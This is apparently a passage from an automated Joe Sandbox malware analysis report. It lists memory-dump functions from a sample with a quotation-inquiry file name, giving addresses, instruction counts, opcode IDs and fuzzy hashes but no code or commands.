Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c70d7e2c3e9fbae99067749e973a3afac430465643d184671174423f475d3a
Instruction ID: 6763adfeb1d38210a2fd6de01e8aa42b345ec5526c416d2b01c6c4c6ffda403b
Opcode Fuzzy Hash: e7c70d7e2c3e9fbae99067749e973a3afac430465643d184671174423f475d3a
Instruction Fuzzy Hash: 8FE0C230A0030CEBDB00EFB4F900B6EB7FAEB84610F0084A8D905D7204DAB22F009B80

Function 0138D4C8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26496859abc229bebe8d75dce459e960db11b1e35d12b6aca31af19f63351a1b
Instruction ID: bcfa96b0e7615cb14e0ca55a2d8e6b1dd95a428a907a008e27276819269c98c3
Opcode Fuzzy Hash: 26496859abc229bebe8d75dce459e960db11b1e35d12b6aca31af19f63351a1b
Instruction Fuzzy Hash: 82D05E30508208EBCBA4EF98E400AA9B7BCDB45318F10909D880863381CF32AD01CB91

Function 06561048 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4592edde17cf1b20af99d477427f7f1edb256c34a6bd982e0ab15a333c07688
Instruction ID: 9860e041de665deb7335c6ef24ef656fc38baa4f66af0c0d0d019d416bccec85
Opcode Fuzzy Hash: f4592edde17cf1b20af99d477427f7f1edb256c34a6bd982e0ab15a333c07688
Instruction Fuzzy Hash: 1CD05E30508108EBCBA4DF9AD500B79B3BCEB46214F10909DD80843341CA329D11DB91

Function 06480448 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f44d117241adfbb2daee0f33c36c4dcbc8b5bd0820c5be60fd617e2ab3ecdaf
Instruction ID: 5cebe2c74483f71ccec24517cb9897b2fd38cc2d59ba61d552712bd1a5fb5b4d
Opcode Fuzzy Hash: 0f44d117241adfbb2daee0f33c36c4dcbc8b5bd0820c5be60fd617e2ab3ecdaf
Instruction Fuzzy Hash: 70E01270A11209EFCB44EFA8E51065EB7F9EB85214F1085B99909E3341D9B15F00DB91

Function 01381DF8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0029430d82ad08581bba938db30c6fa6a3e75b5c8c7ba498d3d55bedbd87e861
Instruction ID: d49990aa8fb518a8fe1a52236d7c731384d6ebf6e8ace3420228e82a750d6661
Opcode Fuzzy Hash: 0029430d82ad08581bba938db30c6fa6a3e75b5c8c7ba498d3d55bedbd87e861
Instruction Fuzzy Hash: 5BD05E70A1120CEFCB00EFB8E90055DB7F9FB49614B2081E9D80AE3304EA312F049F91

Function 065613A0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca8ef887eaa4388632696bdacdab871016e28e3ce2bf8761e4e6912bf9d843e
Instruction ID: b30c9ee885d0f06d90ece53fca016231e52a8a3aff7de0e5e608c8f9392ce51a
Opcode Fuzzy Hash: 9ca8ef887eaa4388632696bdacdab871016e28e3ce2bf8761e4e6912bf9d843e
Instruction Fuzzy Hash: 6BD0523090A208EBCBE4AFAAA500AB8B3BCAB02209F4011AD940913600EA724900DB91

Function 01381E30 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 009b21dba101ff55cdf619492a830d12e941568e184e87dce920be047b6d8e55
Instruction ID: b84e0c8ef698512beda14e42aa555e31c5976ba805694172b1d7c99b278caf3c
Opcode Fuzzy Hash: 009b21dba101ff55cdf619492a830d12e941568e184e87dce920be047b6d8e55
Instruction Fuzzy Hash: A6D0C97044D7CD5FCB131B3445147147F32AF07604B5943CAC1C98D497C21A04A2C792

Function 064818F0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4cf10a9d63d8adc18af65542ac12706555a5f9fb62bd8b2a3e444b336ac4319
Instruction ID: f819f713df7d2a1e4e9bac6159e4e205e418ed55369c3872c523d435b4ed5eb7
Opcode Fuzzy Hash: d4cf10a9d63d8adc18af65542ac12706555a5f9fb62bd8b2a3e444b336ac4319
Instruction Fuzzy Hash: 1CC08C7064A3842EDA0213701C19FA23EAC9B03300F050282B1A1880D34A840885C2B3

Function 067ACDB8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00a2ec0e102028f4b0816d97dae600694b4d7786957f4fdfe832f466c032edd
Instruction ID: 36aa93d77bdd00aaf4d4edb851ae8cf985a49233877608457df8d05c27a71260
Opcode Fuzzy Hash: c00a2ec0e102028f4b0816d97dae600694b4d7786957f4fdfe832f466c032edd
Instruction Fuzzy Hash: A0C08C3208D705D6D2E62A61700C3B476BC838A306F007A10830C00050CAA40040CB96

Function 013889A0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 474bcef711593472c2e0aa8cff2706f417802e8d4e1425b6d88287abab6bffc8
Instruction ID: e552554978d56dfdf69b2771cf81f3ba575fcdab24678cb09f2df447bb1db29d
Opcode Fuzzy Hash: 474bcef711593472c2e0aa8cff2706f417802e8d4e1425b6d88287abab6bffc8
Instruction Fuzzy Hash: 03C08C30004314C7E6F07FA8F80C72C36BC6B4030AF802068E30D810548F780840CBB7

Function 065B6E50 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 763876fd0b45966c83c0998340b76e5d685e3578a1ea055b75086dfd52bd84e9
Instruction ID: 0ce823196e68bfa3c6e16311876d458d99f0ca67b6bfed288489720d414110cf
Opcode Fuzzy Hash: 763876fd0b45966c83c0998340b76e5d685e3578a1ea055b75086dfd52bd84e9
Instruction Fuzzy Hash: 9EC00276E1002A9ACB00DAD9E4408DCB775EB94321B408026D214AA104D631152A8F50

Function 01381FC0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4d19cd423223e2b1dfda50ef335071680ef3379acd379dcad2e75bf6ba415c
Instruction ID: 21b291042f7cf6e3c9a2ab739f9a5fecf7577e7943d60ee036aa43f98ccf6179
Opcode Fuzzy Hash: 9a4d19cd423223e2b1dfda50ef335071680ef3379acd379dcad2e75bf6ba415c
Instruction Fuzzy Hash: 69B0123020C3090F96607BB72805E22338C55105097400024E40CC1041FA00D0051245

Function 065B66DC Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95b1287ce934dc7d59a81dc9addacda5548577e4e772ffc4255dec512d8677fe
Instruction ID: bae5b73cd7d8aa5a3614fac64ce963b23f85b72e3be7dda20795eae6a79f213c
Opcode Fuzzy Hash: 95b1287ce934dc7d59a81dc9addacda5548577e4e772ffc4255dec512d8677fe
Instruction Fuzzy Hash: 73D0E974D04318DFDB94CF65D854799B7B1BB15310F0094D5944DA2751DB3019C48F15

Function 0648DB50 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 06484804 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a709100fa640ce5489d89f93d265f4a0f6e43ae8121d5a293d35fd3dda0540d
Instruction ID: a71c57506438df3473cad5b88f2065a66e9378a8de5e3f8041bbc1d6dc6c1abd
Opcode Fuzzy Hash: 3a709100fa640ce5489d89f93d265f4a0f6e43ae8121d5a293d35fd3dda0540d
Instruction Fuzzy Hash:

Non-executed Functions

Function 013823C8 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

, xrefs: 013824DE

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9a0b7f67b528e29d820c1d6e49eb976bd626b677dd9e0d75e3ccb4b77ba524f7
Instruction ID: 3acda125e2bd7115ab46c0af75b5065b2da9f127152d8f37e237008e4ac38f5f
Opcode Fuzzy Hash: 9a0b7f67b528e29d820c1d6e49eb976bd626b677dd9e0d75e3ccb4b77ba524f7
Instruction Fuzzy Hash: 6051AD31B002158FCB14EF6DD8806AEB7F2FBC8219B1985BAD506D7359DB30EC418B91

Function 06510006 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

|, xrefs: 065101BC

Memory Dump Source

Source File: 00000000.00000002.1315000145.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6510000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: a5933a4d597cde4792aadfc809db6133bc73aff143886c0f73d0f9cf7c03d8a5
Instruction ID: 38a5d7090d092b37b9f6758007f942af0030ef493a6cb517a550e00453f1095e
Opcode Fuzzy Hash: a5933a4d597cde4792aadfc809db6133bc73aff143886c0f73d0f9cf7c03d8a5
Instruction Fuzzy Hash: 4B51AD71D056549BEB2DCF278D416DAFAF7AFC9300F04C1FA954CAA125EB740A868F50

Function 06510040 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

|, xrefs: 065101BC

Memory Dump Source

Source File: 00000000.00000002.1315000145.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6510000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: a51c70d9736cd9f56c5c5ee751054f5901d979f649ad7f8b0b773230621aaa27
Instruction ID: 903a4a5cf96edd85bc9639af240c4989714c6ce65c7cc0c5de8bb78fb6d1de80
Opcode Fuzzy Hash: a51c70d9736cd9f56c5c5ee751054f5901d979f649ad7f8b0b773230621aaa27
Instruction Fuzzy Hash: C7511C71D056188BEB6CCF2B8D456CAFAF7AFC8300F14C5FA955CA6254EB740AC58E40

Function 065B74D6 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

#, xrefs: 065BA05F

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: d0e6ea5b2767b9c81a3656f07d06579476f422821bbd67ddb1066f1945e804e6
Instruction ID: ba1baa74872f10624bc239325c35f09e2fa8458af3c056983f9c1dc855a8ef55
Opcode Fuzzy Hash: d0e6ea5b2767b9c81a3656f07d06579476f422821bbd67ddb1066f1945e804e6
Instruction Fuzzy Hash: D5413D71E05A588BEB5CCF6B8C4069EFAF7AFC9201F14D1BA845CAA265EB3005468F51

Function 065B0448 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

^, xrefs: 065B0517

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 8bee1ce77a14d7f4458e634cec03dd83705efe39e4c139601e53dc2034ac181f
Instruction ID: 83fe70d8583636e163b2e849fcb40352146300cd1cfe5beb743c2acd4060e09d
Opcode Fuzzy Hash: 8bee1ce77a14d7f4458e634cec03dd83705efe39e4c139601e53dc2034ac181f
Instruction Fuzzy Hash: AD315C71D056688BEB68DF6B8C482DAFAF7BFC8300F14D1BA840CA6254DB740A85CF54

Function 062D0048 Relevance: 1.2, Instructions: 1219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314165287.00000000062D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62d0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 230a59f4eee6608956b5d1654856575bd153e090f2c9b7fed875b4ec3662a084
Instruction ID: 426b03184beba7d632ab70a983a2ad7debc18f7cdb4f543592082bcca5de42e0
Opcode Fuzzy Hash: 230a59f4eee6608956b5d1654856575bd153e090f2c9b7fed875b4ec3662a084
Instruction Fuzzy Hash: 4DA27E7151E3C5AFE7269F758C19B9A3F799B43300F1A41EBE1409B2E2C6B85848C772

Function 06492918 Relevance: .6, Instructions: 610COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04c8d262137d4288d0522a0e43c9af14969104764b20d487dddde66a5eff2c79
Instruction ID: e97ec73855636e044602a9a51dfad33bc92430362f7a38c6925269f93faa5752
Opcode Fuzzy Hash: 04c8d262137d4288d0522a0e43c9af14969104764b20d487dddde66a5eff2c79
Instruction Fuzzy Hash: 50327770B002169FCB99CFA9C49466FFBF2FF88310F14852AD55A97381CB74AA51CB94

Function 065B5AD0 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5ae76d8186a33ca36a68ead335e2c80fef26e9342be86eb26b3f0142caa061
Instruction ID: 3e0d4b04a7f89339f8faca824464a0a8a3d2561adec5753eccf39048fea35265
Opcode Fuzzy Hash: 5a5ae76d8186a33ca36a68ead335e2c80fef26e9342be86eb26b3f0142caa061
Instruction Fuzzy Hash: B712B371E006188FDB58CFAAC9806DDFBF2BF88304F24C569D459AB219E734A946CF54

Function 06484368 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11d892343a33fc5923b2aa0bc851219e7779a0ad0fb3868aa36112dc12dfc3ac
Instruction ID: a7db460d86d124facebc18207567612d982b259c4a4b53717e247af86bf0c944
Opcode Fuzzy Hash: 11d892343a33fc5923b2aa0bc851219e7779a0ad0fb3868aa36112dc12dfc3ac
Instruction Fuzzy Hash: 97E13C34A002058FDB55EF69C584A6EB7F2BF89314F69C4AAD405AB361C734EC81CB50

Function 0138514C Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77a3f683e2aea875b38e0e64ab9050bf5d2e65d73ee21d4bfe4b468bb0784e6e
Instruction ID: d8ff95ce770e59c94c1b181bf036235affc1e960f7dea0f8f4485778f2ce34e5
Opcode Fuzzy Hash: 77a3f683e2aea875b38e0e64ab9050bf5d2e65d73ee21d4bfe4b468bb0784e6e
Instruction Fuzzy Hash: 9831CAB1D057588BEB68CF6BC94478EFBF7AFC9304F14C0A9C408A6265DB740A458F51

Function 064C539C Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 520b4b57c9de092a48ce0fe0d3f756644c8956086225194056b400fed021978b
Instruction ID: 1c1906422b1944640a1492de8fea0c34332a9c3a819c06c492a250116fd32c95
Opcode Fuzzy Hash: 520b4b57c9de092a48ce0fe0d3f756644c8956086225194056b400fed021978b
Instruction Fuzzy Hash: 9DD1C274E01228CFDBA4DFA8D854BADB7B2FB49311F1091AAD40AA7354DB346E85CF50

Function 06560AC0 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9158c2506a94f186cd2b6bb36d7d20a38cb85001c65da34b69caac20d3764661
Instruction ID: af532e51cf3410ef042487ae51c124f9554489758713d3a69a4daa5dae096965
Opcode Fuzzy Hash: 9158c2506a94f186cd2b6bb36d7d20a38cb85001c65da34b69caac20d3764661
Instruction Fuzzy Hash: 56B15870D00218CFDBA4DFA6EA44BADBBB2FB49304F109469E419A7390DB395D85CF50

Function 01388BB2 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c8235bcca249de808f55498f03fe70ba1285242d6ba2ad4c0514090001dc39
Instruction ID: c41ffc6847728d40fc5ca082cb9a5f9eb6d0cd3e519070fcffc819c2e62464b6
Opcode Fuzzy Hash: d6c8235bcca249de808f55498f03fe70ba1285242d6ba2ad4c0514090001dc39
Instruction Fuzzy Hash: 32C16775E016188FDB58DF6AC944ADDBBF2AF89304F14C0A9D509AB365DB305E81CF50

Function 06560AD0 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 537499e1f67c2da9bb3aa83ad8714b497eb34b3c865911ae950930b3bf3b8b19
Instruction ID: fb307be96eee36361ca345ee347542d01db6f9f2725dc9e313fb31284142c932
Opcode Fuzzy Hash: 537499e1f67c2da9bb3aa83ad8714b497eb34b3c865911ae950930b3bf3b8b19
Instruction Fuzzy Hash: 7DB15970D04218CFDB94DFA6DA44BADBBB2FB49304F109469E41AA7390DB395D85CF40

Function 01382090 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e701b04169ef75b8c7338c9179b364dc0a70aac65dc5602b95959a068e6743bc
Instruction ID: fae90917d617109d0d2d4310a9968367300a61c3c2e0e26005be83763f27d119
Opcode Fuzzy Hash: e701b04169ef75b8c7338c9179b364dc0a70aac65dc5602b95959a068e6743bc
Instruction Fuzzy Hash: 51916C36B106299FD754EB6DC880B5EB7E3BFC8714F1A81A4E405EB359DA74AC01CB80

Function 064C98F8 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e840a37af27d1e4bbadb82913d8392342ae13932aad281dbd98fdc6c55bee527
Instruction ID: 0c79b1bc3f028d62db03b1a682ef84241908e3dcb8f7bccde5a8947bdd396812
Opcode Fuzzy Hash: e840a37af27d1e4bbadb82913d8392342ae13932aad281dbd98fdc6c55bee527
Instruction Fuzzy Hash: F0B1D2B4D04218DFDBA4CFA9D884B9DBBF2BB49314F10906AD409AB355DB385D86CF50

Function 064C9908 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb0f1bfc5a7d6c840a8b6d682ed7f8e99903d7862adcce1dd20b0eb4a14c2018
Instruction ID: 8f2cb47363f471b7e326dc96023b665a711ab132d091c25ec829198f13190182
Opcode Fuzzy Hash: eb0f1bfc5a7d6c840a8b6d682ed7f8e99903d7862adcce1dd20b0eb4a14c2018
Instruction Fuzzy Hash: 39B1D2B8D04218DFEBA4CFA9D484B9DBBF2BB49314F10906AD409AB355DB395D86CF40

Function 064C56A8 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2d3cfd67648b5aec03bc0caf33e7de465dd56ac51ab620d0ad7b9202333ff9b
Instruction ID: 61b3b597fdf70a7fce99ef03259af82c1c850fdb8eeb60e6191937c974e956a8
Opcode Fuzzy Hash: c2d3cfd67648b5aec03bc0caf33e7de465dd56ac51ab620d0ad7b9202333ff9b
Instruction Fuzzy Hash: 46A1E178A05218CFDB94DFA4D854BAEB7B2FB4A311F1090AAD40EA7340DB346E95CF51

Function 0138E208 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6874d1171b456db3743ced9000279baf9416cd2914779eb0ba56b1406b7df9b5
Instruction ID: 0d3a1174097d834592478afb895f505671de6e91b3b6a14993008180b6e1ba19
Opcode Fuzzy Hash: 6874d1171b456db3743ced9000279baf9416cd2914779eb0ba56b1406b7df9b5
Instruction Fuzzy Hash: 9E91BAB0D05318CFEF14EFE9C8487EEBBF5AB49309F10912AD409B6294D7780A49CB65

Function 0138E218 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e879f5bce5afc0b385c14d06b087bf74d44290bf217295cb024acf6499e9eafe
Instruction ID: a1af53f85bd3716884a85f72cf2e29f10f22f0871131a184d98058b117a41da9
Opcode Fuzzy Hash: e879f5bce5afc0b385c14d06b087bf74d44290bf217295cb024acf6499e9eafe
Instruction Fuzzy Hash: C291B8B0D05318CFEF04EFE9C8087EDBBF5AB89309F10912AC419B6294D7780A88CB55

Function 06495E4A Relevance: .2, Instructions: 212COMMON

Download Yara Rule

